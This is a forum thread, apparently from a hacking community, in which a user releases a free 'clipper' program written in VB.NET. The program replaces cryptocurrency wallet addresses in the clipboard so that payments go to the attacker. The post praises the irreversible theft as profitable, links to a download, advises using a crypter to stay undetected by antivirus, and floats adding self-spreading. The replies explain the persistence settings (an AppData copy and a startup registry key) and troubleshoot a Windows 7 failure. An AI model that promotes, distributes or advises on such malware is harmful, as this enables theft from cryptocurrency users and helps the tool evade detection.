[Leper1337]

Hi guys, this thread was originally posted on HF by me, thought it might be good to post it here too, for more people to see.

I present to you a program which is able to detect and change crypto-wallet addresses in the clipboard and it can be used to hijack transactions.
Since the transactions aren't reversible it's a good thing and if you get lucky you can make yourself a lot of money by using it.

I tested it personally on Windows XP, Windows 7 and Windows 10 and a several Server builds.
I have always considered free software good, and this project wasn't so hard and I'm not specially proud of it, so I decided to make it free.
It currently supports BTC, LTC, XMR and ETH.

I haven't scanned it on nodistribute.com or any other website that doesn't distribute binaries to antivirus corporations because I couldn't find any.
It should be undetected with most antiviruses currently, but I still recommend using a crypter that supports VB.NET in which this project was written.
(Also I consider nodistribute.com to be an ESET honeypot)

I am not accountable for any damage done by this program, you can find the same text within the program itself.
I'll consider updating it by adding a built-in crypter or a selfspreading unit, or to support more cryptos.
Download: https://mega.nz/#!72pjxbxZ!DRXOdDYoA9F3F...tGRAgN1Dh4
(Note: The builder is clean, but if you're not sure run it in Sandboxie or in a VM)
Offical MD5 and SHA256 of files are in the changelog.

If you like the program please consider donating to:
BTC : 1BwxBu9ceBXp3z683maAwcujFMcJxQFhc4
XMR : 49khF4wh795KaHwTr5G9uCDPmCU69u68W2y96KEWMzbX89PonhBAht1WbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3wBJBBd

[mothered]

Note: The builder is clean, but if you're not sure run it in Sandboxie

I shall do just that and post a few Images.

Thanks for the contribution.

[Leper1337]

Thank you for the fast reply
You're welcome and if you or anyone else find any bugs or have any questions please post here

[tvanhaus]

What do I put under Install Name and Registry name?

[mothered]

Upon downloading the file, the archive seems to be corrupted. Anyone experiencing similar Issues?

It may well be the security rules and/or permissions defined In my IDS/IPS (which I'm not prepared to reconfigure), so when my standalone system Is available, I'll check It out then and post the results.

[Leper1337]

Install name is the filename which is used when the file is copied to Appdata, the "melt" name.
Registry name is just a name of the startup registry key, which is created either in HKLM or HKCU.
The archive is working, for me at least.

[nieks]

It doesn't work on win7. BTC address stays the same in the clipboard.

[Cyclo]

It doesn't work on win7. BTC address stays the same in the clipboard.

File(s) may have to be ran with admin rights to be able to edit any registry values and may clipboard is the same (never tried these).